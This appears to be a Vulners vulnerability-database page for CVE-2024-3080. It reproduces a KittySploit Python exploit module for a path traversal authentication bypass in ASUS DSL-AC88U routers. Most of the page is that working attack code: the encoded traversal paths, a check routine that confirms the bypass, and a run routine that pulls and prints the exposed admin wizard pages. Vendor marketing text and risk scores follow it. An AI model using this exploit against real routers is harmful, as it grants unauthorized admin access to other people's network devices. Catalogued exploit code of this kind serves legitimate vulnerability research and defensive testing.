Lucene search
+L

ASUS DSL-AC88U Auth Bypass (CVE-2024-3080)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Path traversal auth bypass in ASUS DSL-AC88U exposes admin wizard pages.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ASUS DSL-AC88U path traversal auth bypass (CVE-2024-3080)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'ASUS DSL-AC88U Auth Bypass (CVE-2024-3080)',
        'description': (
            'Exploits CVE-2024-3080 in ASUS DSL-AC88U: /js/..%2f%2f or /images/..%2f%2e '
            'traversal bypasses authentication and exposes admin wizard pages.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2024-3080'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2024-3080'],
        'tags': ['asus', 'router', 'auth-bypass', 'lfi', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['privilege_escalation'],
            'expected_requests': 3,
            'reversible': True,
            'approval_required': True,
            'produces': ['admin_surface'],
            'chain': {'suggested_followups': ['scanner/http/cve_2024_3080_detect']},
        },
    }

    bypass_paths = OptString(
        '/js/..%2f%2f/wizard.htm,/images/..%2f%2e/wizard.htm',
        'Comma-separated bypass URLs',
        required=False,
        advanced=True,
    )

    def check(self):
        for path in self._paths():
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if r and r.status_code == 200 and 'show_wizardmenu();' in (r.text or ''):
                return {'vulnerable': True, 'reason': f'ASUS bypass via {path}', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'ASUS traversal bypass failed', 'confidence': 'medium'}

    def _paths(self) -> list[str]:
        raw = str(self.bypass_paths or '/js/..%2f%2f/wizard.htm,/images/..%2f%2e/wizard.htm')
        return [p.strip() for p in raw.split(',') if p.strip()]

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('ASUS DSL-AC88U not vulnerable')
            return False
        for path in self._paths():
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if r and r.status_code == 200:
                print_success(f'{path} — {len(r.text or "")} bytes')
                print_status((r.text or '')[:1500])
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.9High risk
Vulners AI Score8.9
CVSS 3.19.8
EPSS0.43456
SSVC
0